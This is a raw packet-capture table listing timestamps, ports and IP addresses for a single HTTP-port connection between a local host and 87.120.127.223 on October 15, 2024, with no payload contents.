Oct 15, 2024 19:22:13.044943094 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.079591036 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.079621077 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.079648972 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.079680920 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.079747915 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.079762936 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.079791069 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.079804897 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.079807043 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.079847097 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.079896927 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.079947948 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.079953909 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.079966068 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.080023050 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.080071926 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.080152988 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.080171108 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.080193996 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.080229044 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.080259085 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.080275059 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.080279112 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.080305099 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.080315113 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.080514908 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.080559015 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.080868006 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.081152916 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.081198931 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.106072903 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.106235027 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.106250048 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.106300116 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.106329918 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.106343985 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.106391907 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.119048119 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.119066000 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.119092941 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.119122028 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.119159937 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.165380955 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.165396929 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.165426016 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.165487051 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.165532112 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.165554047 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.165594101 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.201049089 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.201105118 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.201126099 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.201199055 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.201199055 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.201241970 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.201261044 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.201286077 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.201307058 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.201314926 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.201351881 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.201410055 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.201423883 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.201452971 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.201487064 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.201591015 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.201610088 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.201633930 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.201643944 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.201653957 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.201679945 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.201692104 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.201700926 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.201720953 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.201725006 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.201745987 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.201775074 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.202419996 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.202477932 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.219649076 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.219680071 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.219696999 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.219765902 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.226203918 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.226217985 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.226246119 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.226260900 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.226294041 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.226329088 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.239579916 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.239595890 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.239622116 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.239674091 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.239706993 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.284075022 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.284089088 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.284117937 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.284145117 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.284162998 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.284173012 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.284188986 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.284205914 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.284249067 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.320162058 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.320192099 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.320214033 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.320245028 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.320321083 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.320336103 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.320369959 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.320405006 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.320424080 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.320449114 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.320449114 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.320488930 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.320666075 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.320681095 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.320707083 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.320720911 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.320933104 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.320951939 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.320976019 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.320975065 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.320997000 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.321017027 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.321043015 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.321062088 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.321083069 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.321660995 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.321676016 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.321701050 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.321712971 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.321738958 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.321949005 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.321964025 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.321991920 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.322006941 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.322010040 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.322047949 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.338278055 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.338563919 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.338623047 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.344512939 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.344665051 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.344681978 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.344716072 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.344719887 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.344736099 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.344759941 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.344764948 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.344810963 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.358736038 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.358768940 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.358783007 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.358819962 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.400655031 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.402997017 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.403095007 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.403115034 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.403143883 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.403152943 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.403161049 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.403207064 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.438786983 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.438848019 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.438863039 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.438919067 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.438919067 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.438972950 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.438992977 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.439013004 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.439032078 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.439071894 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.439105034 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.439146042 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.439161062 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.439184904 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.439238071 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.439910889 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.439929962 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.439954042 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.439960003 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.439974070 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.440001011 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.440006971 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.440021038 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.440051079 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.440057993 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.440080881 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.440103054 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.440108061 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.440128088 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.440150023 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.440155983 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.440175056 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.440213919 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.463615894 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.463679075 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.463685036 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.463706017 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.463752031 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.463795900 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.463810921 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.463839054 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.463860035 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.463869095 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.463896990 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.464095116 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.477277040 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.477292061 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.477324009 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.477329969 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.477380037 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.521900892 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.521934032 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.521950960 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.521982908 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.522233963 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.522284985 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.522439957 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.524712086 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.524765015 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.558337927 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.558414936 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.558429003 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.558468103 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.558490992 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.558506966 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.558535099 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.558542013 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.558553934 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.558578014 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.558794022 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.558813095 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.558836937 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.558839083 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.558860064 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.558878899 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.558878899 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.558906078 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.558924913 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.558928967 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.558949947 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.558969021 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.558974981 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.559015989 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.559154034 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.559182882 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.559222937 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.559247971 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.559264898 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.559295893 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.559304953 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.559397936 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.559439898 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.611284971 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.611301899 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.611329079 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.611377954 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.611382008 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.611414909 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.611437082 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.611454964 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.611484051 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.611584902 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.611599922 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.611624956 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.611637115 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.611648083 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.611694098 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.611819029 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.642221928 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.642237902 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.642266989 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.642285109 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.642302036 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.642313004 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.642326117 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.642337084 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.642370939 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.680347919 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.680407047 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.680432081 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.680457115 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.680489063 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.680506945 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.680522919 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.680550098 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.680569887 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.680583954 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.680622101 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.680659056 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.680687904 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.680706024 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.680731058 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.680947065 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.680965900 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.680991888 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.680996895 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.681029081 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.681040049 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.681052923 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.681071043 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.681097031 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.681103945 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.681128979 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.681148052 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.681148052 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.681173086 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.681189060 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.681196928 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.681221008 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.681238890 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.681879997 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.681910038 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.681927919 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.682265043 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.682320118 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.731631041 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.731647015 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.731673002 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.731702089 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.731745005 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.731761932 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.731792927 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.731801987 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.731816053 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.731841087 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.731923103 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.731941938 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.731966019 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:13.731970072 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:13.732014894 CEST	49705	80	192.168.2.5	87.120.127.223
